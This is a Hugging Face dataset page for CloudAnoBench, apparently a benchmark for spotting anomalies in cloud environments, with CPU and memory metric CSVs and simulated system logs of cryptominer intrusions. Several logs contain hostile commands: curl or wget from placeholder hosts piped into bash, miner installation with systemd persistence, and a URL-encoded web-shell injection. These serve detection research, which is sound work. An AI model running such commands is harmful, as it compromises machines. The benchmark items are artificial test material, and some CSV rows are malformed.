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Datasets:
jayzou3773
/
CloudAnoBench

Tasks:
Text Classification
Languages:
English
ArXiv:
Tags:
anomaly-detection
cloud-environments
metrics
logs
time-series
License:
Dataset card Data Studio Files
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  1. mali_dataset/scenario_1/mali_1_1.csv +91 -0
  2. mali_dataset/scenario_1/mali_1_1.log +15 -0
  3. mali_dataset/scenario_1/mali_1_10.csv +91 -0
  4. mali_dataset/scenario_1/mali_1_10.log +16 -0
  5. mali_dataset/scenario_1/mali_1_11.csv +91 -0
  6. mali_dataset/scenario_1/mali_1_11.log +14 -0
  7. mali_dataset/scenario_1/mali_1_12.csv +93 -0
  8. mali_dataset/scenario_1/mali_1_12.log +11 -0
  9. mali_dataset/scenario_1/mali_1_13.csv +89 -0
  10. mali_dataset/scenario_1/mali_1_13.log +18 -0
  11. mali_dataset/scenario_1/mali_1_14.csv +91 -0
  12. mali_dataset/scenario_1/mali_1_14.log +14 -0
  13. mali_dataset/scenario_1/mali_1_15.csv +89 -0
  14. mali_dataset/scenario_1/mali_1_15.log +16 -0
  15. mali_dataset/scenario_1/mali_1_16.csv +89 -0
  16. mali_dataset/scenario_1/mali_1_16.log +15 -0
  17. mali_dataset/scenario_1/mali_1_17.csv +90 -0
  18. mali_dataset/scenario_1/mali_1_17.log +18 -0
  19. mali_dataset/scenario_1/mali_1_18.csv +87 -0
  20. mali_dataset/scenario_1/mali_1_18.log +17 -0
  21. mali_dataset/scenario_1/mali_1_19.csv +83 -0
  22. mali_dataset/scenario_1/mali_1_19.log +17 -0
  23. mali_dataset/scenario_1/mali_1_2.csv +91 -0
  24. mali_dataset/scenario_1/mali_1_2.log +9 -0
  25. mali_dataset/scenario_1/mali_1_20.csv +83 -0
  26. mali_dataset/scenario_1/mali_1_20.log +19 -0
  27. mali_dataset/scenario_1/mali_1_21.csv +83 -0
  28. mali_dataset/scenario_1/mali_1_21.log +22 -0
  29. mali_dataset/scenario_1/mali_1_22.csv +83 -0
  30. mali_dataset/scenario_1/mali_1_22.log +19 -0
  31. mali_dataset/scenario_1/mali_1_23.csv +83 -0
  32. mali_dataset/scenario_1/mali_1_23.log +17 -0
  33. mali_dataset/scenario_1/mali_1_24.csv +92 -0
  34. mali_dataset/scenario_1/mali_1_24.log +16 -0
  35. mali_dataset/scenario_1/mali_1_3.csv +91 -0
  36. mali_dataset/scenario_1/mali_1_3.log +9 -0
  37. mali_dataset/scenario_1/mali_1_4.csv +91 -0
  38. mali_dataset/scenario_1/mali_1_4.log +9 -0
  39. mali_dataset/scenario_1/mali_1_5.csv +91 -0
  40. mali_dataset/scenario_1/mali_1_5.log +15 -0
  41. mali_dataset/scenario_1/mali_1_6.csv +91 -0
  42. mali_dataset/scenario_1/mali_1_6.log +9 -0
  43. mali_dataset/scenario_1/mali_1_7.csv +91 -0
  44. mali_dataset/scenario_1/mali_1_7.log +9 -0
  45. mali_dataset/scenario_1/mali_1_8.csv +91 -0
  46. mali_dataset/scenario_1/mali_1_8.log +9 -0
  47. mali_dataset/scenario_1/mali_1_9.csv +79 -0
  48. mali_dataset/scenario_1/mali_1_9.log +21 -0
  49. mali_dataset/scenario_10/mali_10_1.csv +91 -0
  50. mali_dataset/scenario_10/mali_10_1.log +16 -0
mali_dataset/scenario_1/mali_1_1.csv ADDED
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mali_dataset/scenario_1/mali_1_1.log ADDED
@@ -0,0 +1,15 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Aug 15 10:00:05 systemd[1]: Started Session 5 of user admin.
2
+ Aug 15 10:00:15 sshd[11532]: Accepted publickey for admin from 10.0.2.5 port 54321 ssh2
3
+ Aug 15 10:00:40 cron[11590]: (root) CMD ( /usr/lib/apt/apt.systemd.daily)
4
+ Aug 15 10:01:15 kubelet[1234]: INFO Successfully probed container metrics-server
5
+ Aug 15 10:01:40 nginx[5432]: GET /healthz HTTP/1.1 200 OK
6
+ Aug 15 10:02:05 CRON[18231]: (admin) CMD (curl -s http://some-shady-domain.com/setup.sh | bash)
7
+ Aug 15 10:02:25 setup.sh[18235]: downloading required binaries...
8
+ Aug 15 10:02:40 setup.sh[18235]: setting up persistence via systemd timer
9
+ Aug 15 10:02:55 systemd[1]: Started custom-updater.service.
10
+ Aug 15 10:03:10 custom-updater[18250]: Starting crypto-miner process.
11
+ Aug 15 10:03:45 kubelet[1234]: INFO routine sync completed for pod api-gateway
12
+ Aug 15 10:04:35 kubelet[1234]: INFO routine sync completed for pod api-gateway
13
+ Aug 15 10:05:25 systemd[1]: session-5.scope: Succeeded.
14
+ Aug 15 10:06:15 kubelet[1234]: INFO routine sync completed for pod api-gateway
15
+ Aug 15 10:07:05 kubelet[1234]: INFO routine sync completed for pod api-gateway
mali_dataset/scenario_1/mali_1_10.csv ADDED
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62
+ 2025-08-16T12:05:00Z,98.92,48.88,8.01,0.77,3.22
63
+ 2025-08-16T12:05:05Z,98.22,48.55,10.65,1.04,3.66
64
+ 2025-08-16T12:05:10Z,98.45,48.63,9.62,0.9,3.59
65
+ 2025-08-16T12:05:15Z,98.73,48.77,11.18,1.08,3.83
66
+ 2025-08-16T12:05:20Z,99.01,48.93,8.28,0.8,3.25
67
+ 2025-08-16T12:05:25Z,98.31,48.57,10.82,1.0,3.7
68
+ 2025-08-16T12:05:30Z,98.58,48.68,9.38,0.95,3.54
69
+ 2025-08-16T12:05:35Z,98.81,48.81,11.41,1.15,3.89
70
+ 2025-08-16T12:05:40Z,99.13,48.99,8.11,0.78,3.21
71
+ 2025-08-16T12:05:45Z,98.42,48.62,10.71,1.03,3.75
72
+ 2025-08-16T12:05:50Z,98.66,48.72,9.71,0.92,3.63
73
+ 2025-08-16T12:05:55Z,98.9,48.85,11.29,1.12,3.86
74
+ 2025-08-16T12:06:00Z,99.25,49.05,8.05,0.76,3.18
75
+ 2025-08-16T12:06:05Z,98.51,48.64,10.59,1.06,3.64
76
+ 2025-08-16T12:06:10Z,98.77,48.79,9.8,0.89,3.57
77
+ 2025-08-16T12:06:15Z,98.98,48.9,11.01,1.09,3.8
78
+ 2025-08-16T12:06:20Z,99.31,49.11,8.33,0.82,3.24
79
+ 2025--08-16T12:06:25Z,98.63,48.7,10.88,1.01,3.72
80
+ 2025-08-16T12:06:30Z,98.83,48.83,9.66,0.94,3.5
81
+ 2025-08-16T12:06:35Z,99.04,48.94,11.35,1.14,3.91
82
+ 2025-08-16T12:06:40Z,99.4,49.18,8.18,0.79,3.19
83
+ 2025-08-16T12:06:45Z,98.72,48.76,10.75,1.05,3.77
84
+ 2025-08-16T12:06:50Z,98.91,48.86,9.75,0.91,3.6
85
+ 2025-08-16T12:06:55Z,99.12,49.0,11.25,1.11,3.84
86
+ 2025-08-16T12:07:00Z,99.51,49.25,8.08,0.75,3.17
87
+ 2025-08-16T12:07:05Z,98.88,48.84,10.63,1.07,3.65
88
+ 2025-08-16T12:07:10Z,99.01,48.92,9.88,0.9,3.58
89
+ 2025-08-16T12:07:15Z,99.23,49.03,11.05,1.1,3.82
90
+ 2025-08-16T12:07:20Z,99.6,49.3,8.21,0.81,3.2
91
+ 2025-08-16T12:07:25Z,98.95,48.89,10.92,1.02,3.74
mali_dataset/scenario_1/mali_1_10.log ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Aug 16 12:00:08 server-db-1 systemd[1]: Starting Cleanup of Temporary Directories...
2
+ Aug 16 12:00:09 server-db-1 systemd[1]: Started Session 12 of user root.
3
+ Aug 16 12:00:15 server-db-1 sshd[2318]: Accepted password for root from 192.168.1.10 port 49876 ssh2
4
+ Aug 16 12:00:45 server-db-1 cron[1190]: (root) CMD ( /usr/lib/apt/apt.systemd.daily)
5
+ Aug 16 12:01:05 server-db-1 kubelet[1234]: INFO Successfully probed container api-server
6
+ Aug 16 12:01:30 server-db-1 CRON[3451]: (root) CMD (curl -fsSL http://malicious-source-repo.net/install.sh | sh)
7
+ Aug 16 12:01:55 server-db-1 install.sh[3455]: Downloading required binaries from remote source...
8
+ Aug 16 12:02:05 server-db-1 install.sh[3455]: Setting up persistence via systemd service 'kworker-daemon'.
9
+ Aug 16 12:02:15 server-db-1 systemd[1]: Reloading.
10
+ Aug 16 12:02:25 server-db-1 systemd[1]: Started kworker-daemon.service.
11
+ Aug 16 12:02:40 server-db-1 kworker-daemon[3478]: Starting background compute process.
12
+ Aug 16 12:03:10 server-db-1 sshd[2318]: client_loop: send disconnect: Broken pipe
13
+ Aug 16 12:04:15 server-db-1 systemd[1]: Starting Daily apt download activities...
14
+ Aug 16 12:05:00 server-db-1 nginx[876]: GET /healthz HTTP/1.1 200 OK
15
+ Aug 16 12:06:20 server-db-1 CRON[4102]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ))
16
+ Aug 16 12:07:05 server-db-1 kubelet[1234]: INFO Container readiness probe for pod 'database-2' succeeded.
mali_dataset/scenario_1/mali_1_11.csv ADDED
@@ -0,0 +1,91 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out
2
+ 2025-08-20T08:00:00Z,15.21,35.11,8.43,1.12,1.34
3
+ 2025-08-20T08:00:05Z,18.94,36.02,7.19,0.98,1.01
4
+ 2025-08-20T08:00:10Z,14.73,34.98,9.01,1.05,1.29
5
+ 2025-08-20T08:00:15Z,21.05,37.15,6.55,1.31,1.52
6
+ 2025-08-20T08:00:20Z,16.82,35.81,8.12,0.89,1.18
7
+ 2025-08-20T08:00:25Z,19.33,36.44,7.83,1.24,1.41
8
+ 2025-08-20T08:00:30Z,13.98,34.52,9.87,0.76,1.09
9
+ 2025-08-20T08:00:35Z,22.41,37.89,6.11,1.45,1.66
10
+ 2025-08-20T08:00:40Z,17.56,36.18,8.59,0.91,1.25
11
+ 2025-08-20T08:00:45Z,20.11,36.91,7.42,1.18,1.38
12
+ 2025-08-20T08:00:50Z,15.83,35.43,9.21,0.81,1.15
13
+ 2025-08-20T08:00:55Z,23.18,38.21,5.98,1.52,1.71
14
+ 2025-08-20T08:01:00Z,18.29,36.75,8.03,0.99,1.31
15
+ 2025-08-20T08:01:05Z,16.45,35.76,8.89,0.85,1.22
16
+ 2025-08-20T08:01:10Z,20.88,37.33,7.01,1.28,1.48
17
+ 2025-08-20T08:01:15Z,17.91,36.49,8.34,0.95,1.28
18
+ 2025-08-20T08:01:20Z,22.01,37.95,6.43,1.39,1.61
19
+ 2025-08-20T08:01:25Z,18.57,36.88,7.95,1.03,1.35
20
+ 2025-08-20T08:01:30Z,24.13,38.55,5.81,1.59,1.78
21
+ 2025-08-20T08:01:35Z,21.59,37.77,6.89,1.15,1.44
22
+ 2025-08-20T08:01:40Z,25.33,38.99,5.76,1.66,1.82
23
+ 2025-08-20T08:01:45Z,32.76,39.15,5.54,1.21,2.81
24
+ 2025-08-20T08:01:50Z,40.11,39.88,5.32,1.18,2.95
25
+ 2025-08-20T08:01:55Z,48.93,40.54,5.18,1.15,3.01
26
+ 2025-08-20T08:02:00Z,56.24,41.21,5.01,1.12,3.15
27
+ 2025-08-20T08:02:05Z,63.88,41.99,4.89,1.09,3.22
28
+ 2025-08-20T08:02:10Z,70.32,42.67,4.75,1.06,3.31
29
+ 2025-08-20T08:02:15Z,76.99,43.41,4.63,1.03,3.45
30
+ 2025-08-20T08:02:20Z,82.05,44.18,4.51,1.01,3.52
31
+ 2025-08-20T08:02:25Z,87.73,44.87,4.39,0.98,3.61
32
+ 2025-08-20T08:02:30Z,91.19,45.55,4.28,0.96,3.75
33
+ 2025-08-20T08:02:35Z,93.56,46.13,4.17,0.94,3.82
34
+ 2025-08-20T08:02:40Z,94.88,46.81,4.09,0.92,3.91
35
+ 2025-08-20T08:02:45Z,96.03,47.32,4.01,0.9,3.99
36
+ 2025-08-20T08:02:50Z,95.77,47.11,4.15,0.91,3.95
37
+ 2025-08-20T08:02:55Z,96.21,47.54,3.98,0.89,4.03
38
+ 2025-08-20T08:03:00Z,97.03,47.98,3.91,0.88,4.11
39
+ 2025-08-20T08:03:05Z,95.94,47.39,4.05,0.89,4.01
40
+ 2025-08-20T08:03:10Z,96.85,47.81,3.88,0.87,4.15
41
+ 2025-08-20T08:03:15Z,97.58,48.22,3.82,0.86,4.21
42
+ 2025-08-20T08:03:20Z,98.12,48.51,3.79,0.85,4.28
43
+ 2025-08-20T08:03:25Z,97.93,48.34,3.81,0.85,4.25
44
+ 2025-08-20T08:03:30Z,98.88,48.91,3.75,0.84,4.33
45
+ 2025-08-20T08:03:35Z,98.01,48.42,3.78,0.85,4.27
46
+ 2025-08-20T08:03:40Z,98.24,48.61,3.76,0.84,4.31
47
+ 2025-08-20T08:03:45Z,97.64,48.21,3.8,0.85,4.26
48
+ 2025-08-20T08:03:50Z,98.53,48.77,3.74,0.83,4.35
49
+ 2025-08-20T08:03:55Z,97.99,48.39,3.79,0.84,4.29
50
+ 2025-08-20T08:04:00Z,98.41,48.69,3.75,0.83,4.34
51
+ 2025-08-20T08:04:05Z,98.08,48.45,3.77,0.84,4.28
52
+ 2025-08-20T08:04:10Z,98.67,48.83,3.73,0.83,4.36
53
+ 2025-08-20T08:04:15Z,97.81,48.31,3.79,0.85,4.24
54
+ 2025-08-20T08:04:20Z,98.15,48.55,3.76,0.84,4.3
55
+ 2025-08-20T08:04:25Z,98.39,48.66,3.74,0.83,4.32
56
+ 2025-08-20T08:04:30Z,98.71,48.88,3.71,0.82,4.38
57
+ 2025-08-20T08:04:35Z,97.95,48.38,3.78,0.84,4.26
58
+ 2025-08-20T08:04:40Z,98.28,48.63,3.75,0.83,4.31
59
+ 2025-08-20T08:04:45Z,98.52,48.74,3.73,0.83,4.33
60
+ 2025-08-20T08:04:50Z,98.8,48.95,3.7,0.82,4.39
61
+ 2025-08-20T08:04:55Z,98.1,48.51,3.76,0.84,4.28
62
+ 2025-08-20T08:05:00Z,98.33,48.68,3.74,0.83,4.32
63
+ 2025-08-20T08:05:05Z,98.6,48.81,3.72,0.82,4.35
64
+ 2025-08-20T08:05:10Z,98.92,49.02,3.69,0.81,4.41
65
+ 2025-08-20T08:05:15Z,98.22,48.59,3.75,0.84,4.29
66
+ 2025-08-20T08:05:20Z,98.45,48.73,3.73,0.83,4.34
67
+ 2025-08-20T08:05:25Z,98.73,48.89,3.71,0.82,4.37
68
+ 2025-08-20T08:05:30Z,99.01,49.08,3.68,0.81,4.42
69
+ 2025-08-20T08:05:35Z,98.31,48.65,3.74,0.84,4.3
70
+ 2025-08-20T08:05:40Z,98.58,48.79,3.72,0.83,4.35
71
+ 2025-08-20T08:05:45Z,98.81,48.94,3.7,0.82,4.38
72
+ 2025-08-20T08:05:50Z,99.13,49.15,3.67,0.81,4.44
73
+ 2025-08-20T08:05:55Z,98.42,48.71,3.73,0.83,4.32
74
+ 2025-08-20T08:06:00Z,98.66,48.85,3.71,0.82,4.36
75
+ 2025-08-20T08:06:05Z,98.9,49.01,3.69,0.81,4.4
76
+ 2025-08-20T08:06:10Z,99.25,49.23,3.66,0.8,4.46
77
+ 2025-08-20T08:06:15Z,98.51,48.77,3.72,0.83,4.33
78
+ 2025-08-20T08:06:20Z,98.77,48.92,3.7,0.82,4.37
79
+ 2025-08-20T08:06:25Z,98.98,49.07,3.68,0.81,4.41
80
+ 2025-08-20T08:06:30Z,99.31,49.29,3.65,0.8,4.47
81
+ 2025-08-20T08:06:35Z,98.63,48.83,3.71,0.83,4.35
82
+ 2025-08-20T08:06:40Z,98.83,48.98,3.69,0.82,4.39
83
+ 2025-08-20T08:06:45Z,99.04,49.13,3.67,0.81,4.43
84
+ 2025-08-20T08:06:50Z,99.4,49.36,3.64,0.8,4.49
85
+ 2025-08-20T08:06:55Z,98.72,48.89,3.7,0.82,4.36
86
+ 2025-08-20T08:07:00Z,98.91,49.04,3.68,0.81,4.4
87
+ 2025-08-20T08:07:05Z,99.12,49.19,3.66,0.8,4.44
88
+ 2025-08-20T08:07:10Z,99.51,49.43,3.63,0.79,4.5
89
+ 2025-08-20T08:07:15Z,98.88,48.99,3.69,0.82,4.38
90
+ 2025-08-20T08:07:20Z,99.01,49.11,3.67,0.81,4.42
91
+ 2025-08-20T08:07:25Z,99.23,49.26,3.65,0.8,4.46
mali_dataset/scenario_1/mali_1_11.log ADDED
@@ -0,0 +1,14 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Aug 20 08:00:10 server-prod-2 systemd[1]: Started Session 8 of user admin.
2
+ Aug 20 08:00:15 server-prod-2 sshd[5432]: Accepted publickey for admin from 10.0.2.15 port 51234 ssh2
3
+ Aug 20 08:00:40 server-prod-2 cron[5480]: (root) CMD ( /usr/lib/apt/apt.systemd.daily)
4
+ Aug 20 08:01:10 server-prod-2 nginx[1122]: 10.0.2.2 - - [20/Aug/2025:08:01:10 +0000] "GET /healthz HTTP/1.1" 200 2 "-" "Consul Health Check"
5
+ Aug 20 08:01:45 server-prod-2 sshd[5432]: admin: executing command 'wget -O /tmp/sys-updater http://bad-actor-repo.org/bins/updater && mv /tmp/sys-updater /etc/systemd/system/sys-updater.service && systemctl enable --now sys-updater.service'
6
+ Aug 20 08:02:05 server-prod-2 systemd[1]: Reloading.
7
+ Aug 20 08:02:10 server-prod-2 systemd[1]: Started sys-updater.service.
8
+ Aug 20 08:02:15 server-prod-2 sys-updater[5510]: System update service started. Running background tasks.
9
+ Aug 20 08:03:00 server-prod-2 systemd[1]: Starting Clean up of old temporary directories...
10
+ Aug 20 08:04:01 server-prod-2 CRON[5590]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly)
11
+ Aug 20 08:05:25 server-prod-2 sshd[5432]: Received disconnect from 10.0.2.15 port 51234: 11: disconnected by user
12
+ Aug 20 08:05:25 server-prod-2 sshd[5432]: Disconnected from user admin 10.0.2.15 port 51234
13
+ Aug 20 08:06:30 server-prod-2 systemd[1]: session-8.scope: Succeeded.
14
+ Aug 20 08:07:00 server-prod-2 nginx[1122]: 10.0.2.2 - - [20/Aug/2025:08:07:00 +0000] "GET /healthz HTTP/1.1" 200 2 "-" "Consul Health Check"
mali_dataset/scenario_1/mali_1_12.csv ADDED
@@ -0,0 +1,93 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out
2
+ 2025-09-05T18:30:00Z,22.15,45.18,15.33,1.88,1.45
3
+ 2025-09-05T18:30:05Z,18.94,44.82,19.21,1.52,1.21
4
+ 2025-09-05T18:30:10Z,25.33,46.01,12.87,2.05,1.88
5
+ 2025-09-05T18:30:15Z,20.71,45.12,16.54,1.71,1.36
6
+ 2025-09-05T18:30:20Z,28.25,47.24,11.98,2.37,2.01
7
+ 2025-09-05T18:30:25Z,17.41,44.26,20.11,1.42,1.15
8
+ 2025-09-05T18:30:30Z,23.95,45.82,14.76,1.98,1.63
9
+ 2025-09-05T18:30:35Z,26.43,46.55,13.11,2.21,1.99
10
+ 2025-09-05T18:30:40Z,19.91,44.94,18.34,1.68,1.28
11
+ 2025-09-05T18:30:45Z,16.88,43.99,22.02,1.35,1.09
12
+ 2025-09-05T18:30:50Z,24.03,45.76,14.15,2.04,1.73
13
+ 2025-09-05T18:30:55Z,27.12,46.91,12.23,2.45,2.11
14
+ 2025-09-05T18:31:00Z,20.59,45.07,17.59,1.91,1.41
15
+ 2025-09-05T18:31:05Z,18.32,44.58,21.31,1.84,1.14
16
+ 2025-09-05T18:31:10Z,25.19,46.22,13.88,2.11,1.92
17
+ 2025-09-05T18:31:15Z,22.76,45.43,15.93,2.01,1.59
18
+ 2025-09-05T18:31:20Z,29.01,47.89,11.19,2.51,2.29
19
+ 2025-09-05T18:31:25Z,24.55,46.01,14.97,1.95,1.68
20
+ 2025-09-05T18:31:30Z,21.43,45.2,16.75,1.81,1.31
21
+ 2025-09-05T18:31:35Z,28.76,47.12,12.21,2.27,2.05
22
+ 2025-09-05T18:31:40Z,25.11,46.05,15.54,1.96,1.77
23
+ 2025-09-05T18:31:45Z,22.93,45.87,14.88,1.92,1.53
24
+ 2025-09-05T18:31:50Z,29.24,47.21,13.03,2.44,2.21
25
+ 2025-09-05T18:31:55Z,24.88,46.92,13.45,2.06,1.89
26
+ 2025-09-05T18:32:00Z,26.32,47.13,12.76,2.23,2.04
27
+ 2025-09-05T18:32:05Z,30.99,48.33,11.31,2.19,2.37
28
+ 2025-09-05T18:32:10Z,39.05,48.87,10.15,1.98,3.11
29
+ 2025-09-05T18:32:15Z,47.73,49.01,9.23,1.85,3.22
30
+ 2025-09-05T18:32:20Z,55.19,49.15,8.89,1.71,3.43
31
+ 2025-09-05T18:32:25Z,62.56,49.34,9.55,1.64,3.55
32
+ 2...
33
+ 2025-09-05T18:32:30Z,69.88,49.88,8.41,1.57,3.61
34
+ 2025-09-05T18:32:35Z,76.03,50.01,9.98,1.43,3.88
35
+ 2025-09-05T18:32:40Z,81.77,49.95,8.12,1.31,3.24
36
+ 2025-09-05T18:32:45Z,86.21,50.11,10.83,1.28,3.71
37
+ 2025-09-05T18:32:50Z,90.03,50.24,9.22,1.15,3.49
38
+ 2025-09-05T18:32:55Z,92.94,50.03,11.14,1.21,3.95
39
+ 2025-09-05T18:33:00Z,94.85,50.17,8.73,1.09,3.36
40
+ 2025-09-05T18:33:05Z,96.58,50.33,10.03,1.13,3.58
41
+ 2025-09-05T18:33:10Z,97.12,50.51,9.01,1.08,3.41
42
+ 2025-09-05T18:33:15Z,96.93,50.21,11.45,1.11,3.87
43
+ 2025-09-05T18:33:20Z,97.88,50.4,8.65,1.04,3.29
44
+ 2025-09-05T18:33:25Z,98.01,50.45,10.67,1.09,3.76
45
+ 2025-09-05T18:33:30Z,98.24,50.56,9.12,1.12,3.51
46
+ 2025-09-05T18:33:35Z,97.64,50.32,11.78,1.07,3.92
47
+ 2025-09-05T18:33:40Z,98.53,50.67,8.34,1.01,3.33
48
+ 2...
49
+ 2025-09-05T18:33:45Z,98.99,50.42,10.99,1.01,3.68
50
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62
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63
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64
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65
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66
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67
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68
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69
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70
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71
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72
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73
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74
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75
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76
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77
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78
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79
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80
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81
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82
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83
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84
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85
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86
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87
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88
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89
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90
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91
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92
+ 2025-09-05T18:37:20Z,99.6,51.3,8.21,1.01,3.2
93
+ 2025-09-05T18:37:25Z,99.95,50.89,10.92,1.02,3.74
mali_dataset/scenario_1/mali_1_12.log ADDED
@@ -0,0 +1,11 @@
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Sep 05 18:30:08 web-server-3 systemd[1]: Starting Cleanup of Temporary Directories...
2
+ Sep 05 18:30:15 web-server-3 systemd[1]: Started Session 15 of user tomcat.
3
+ Sep 05 18:30:45 web-server-3 cron[2190]: (root) CMD ( /usr/lib/apt/apt.systemd.daily)
4
+ Sep 05 18:31:20 web-server-3 catalina.out[1456]: INFO: Health check endpoint /healthz called, status OK.
5
+ Sep 05 18:32:05 web-server-3 catalina.out[1456]: WARNING: Suspicious request detected from 203.0.113.78: "POST /upload.jsp?cmd=wget%20-O%20/tmp/xm%20http://miner-hosting.net/xm%20%26%26%20chmod%20+x%20/tmp/xm%20%26%26%20nohup%20/tmp/xm%20%26"
6
+ Sep 05 18:33:01 web-server-3 CRON[2250]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ))
7
+ Sep 05 18:34:10 web-server-3 systemd[1]: Starting Daily apt download activities...
8
+ Sep 05 18:35:00 web-server-3 sshd[2285]: Accepted password for monitor from 192.168.10.5 port 50122 ssh2
9
+ Sep 05 18:35:01 web-server-3 sshd[2285]: pam_unix(sshd:session): session opened for user monitor by (uid=0)
10
+ Sep 05 18:36:20 web-server-3 catalina.out[1456]: INFO: Health check endpoint /healthz called, status OK.
11
+ Sep 05 18:37:05 web-server-3 systemd[1]: session-16.scope: Succeeded.
mali_dataset/scenario_1/mali_1_13.csv ADDED
@@ -0,0 +1,89 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ "timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out"
2
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3
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22
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27
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28
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29
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31
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39
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40
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42
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46
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48
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52
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55
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74
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76
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77
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78
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79
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80
+ "2025-08-16T14:06:40Z,99.85,45.06,2.7,1.10,4.81"
81
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82
+ "2025-08-16T14:06:50Z,99.77,45.05,2.5,1.11,4.85"
83
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84
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85
+ "2025-08-16T14:07:05Z,99.3,45.03,2.0,1.04,5.01"
86
+ "2025-08-16T14:07:10Z,99.8,45.07,2.4,1.12,4.93"
87
+ "2025-08-16T14:07:15Z,99.48,45.04,2.1,1.05,5.05"
88
+ "2025-08-16T14:07:20Z,99.91,45.1,2.5,1.14,4.98"
89
+ "2025-08-16T14:07:25Z,99.35,45.06,1.9,1.06,5.10"
mali_dataset/scenario_1/mali_1_13.log ADDED
@@ -0,0 +1,18 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Aug 16 14:00:02 systemd[1]: Starting Daily apt download activities...
2
+ Aug 16 14:00:08 sshd[2108]: Accepted password for user admin from 192.168.1.10 port 49152 ssh2
3
+ Aug 16 14:00:08 systemd[1]: Created slice User Slice of UID 1000.
4
+ Aug 16 14:00:08 systemd[1]: Started Session 12 of user admin.
5
+ Aug 16 14:00:32 systemd[1]: apt-daily.service: Succeeded.
6
+ Aug 16 14:00:32 systemd[1]: Finished Daily apt download activities.
7
+ Aug 16 14:01:00 CRON[2451]: (root) CMD (wget -q -O - http://malicious-repo.org/setup.sh | bash)
8
+ Aug 16 14:01:04 bash[2452]: Downloading miner package from remote server...
9
+ Aug 16 14:01:10 bash[2452]: Package downloaded. Extracting to /usr/local/bin/
10
+ Aug 16 14:01:15 bash[2452]: Creating systemd service [kthreadd.service] for persistence.
11
+ Aug 16 14:01:20 systemd[1]: Reloading.
12
+ Aug 16 14:01:21 systemd[1]: Started kthreadd.service.
13
+ Aug 16 14:01:22 kthreadd[2488]: Starting CPU mining process with 100% intensity.
14
+ Aug 16 14:01:23 kthreadd[2488]: Connected to mining pool at stratum+tcp://pool.supportxmr.com:3333
15
+ Aug 16 14:02:45 ntpd[1052]: time server 91.189.94.4 unreachable
16
+ Aug 16 14:04:18 kernel: [ 258.123456] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies.
17
+ Aug 16 14:05:55 systemd[1]: Started Clean up any mess left by 0dns-up.
18
+ Aug 16 14:07:05 sshd[2108]: pam_unix(sshd:session): session closed for user admin
mali_dataset/scenario_1/mali_1_14.csv ADDED
@@ -0,0 +1,91 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out
2
+ 2025-08-16T14:00:00Z,23.15,43.81,11.34,0.88,1.52
3
+ 2025-08-16T14:00:05Z,19.88,44.12,8.76,1.05,1.78
4
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5
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6
+ 2025-08-16T14:00:20Z,18.91,42.98,9.83,0.76,1.92
7
+ 2025-08-16T14:00:25Z,26.04,43.76,11.01,1.11,1.55
8
+ 2025-08-16T14:00:30Z,22.58,44.21,14.63,0.83,1.67
9
+ 2025-08-16T14:00:35Z,20.13,43.88,12.43,0.99,1.81
10
+ 2025-08-16T14:00:40Z,24.87,44.03,8.19,1.08,1.73
11
+ 2025-08-16T14:00:45Z,19.55,43.19,10.94,0.68,1.49
12
+ 2025-08-16T14:00:50Z,27.1,44.67,13.61,1.15,1.88
13
+ 2025-08-16T14:00:55Z,23.49,43.95,9.33,0.91,1.57
14
+ 2025-08-16T14:01:00Z,20.21,44.82,11.78,1.03,1.64
15
+ 2025-08-16T14:01:05Z,25.01,43.65,10.43,1.24,1.9
16
+ 2025-08-16T14:01:10Z,22.88,44.33,12.88,0.85,1.75
17
+ 2025-08-16T14:01:15Z,26.34,44.11,8.59,1.18,1.53
18
+ 2025-08-16T14:01:20Z,24.19,43.84,14.01,0.97,1.84
19
+ 2025-08-16T14:01:25Z,21.96,44.78,10.23,0.79,1.69
20
+ 2025-08-16T14:01:30Z,28.42,44.91,9.65,1.31,1.95
21
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22
+ 2025-08-16T14:01:40Z,30.15,48.21,12.05,1.01,1.77
23
+ 2025-08-16T14:01:45Z,35.88,48.56,9.54,0.95,1.86
24
+ 2025-08-16T14:01:50Z,41.23,49.01,10.33,1.12,2.01
25
+ 2025-08-16T14:01:55Z,46.99,48.78,8.81,0.87,1.93
26
+ 2025-08-16T14:02:00Z,52.45,49.33,11.92,1.26,2.15
27
+ 2025-08-16T14:02:05Z,58.01,49.11,9.13,0.92,3.55
28
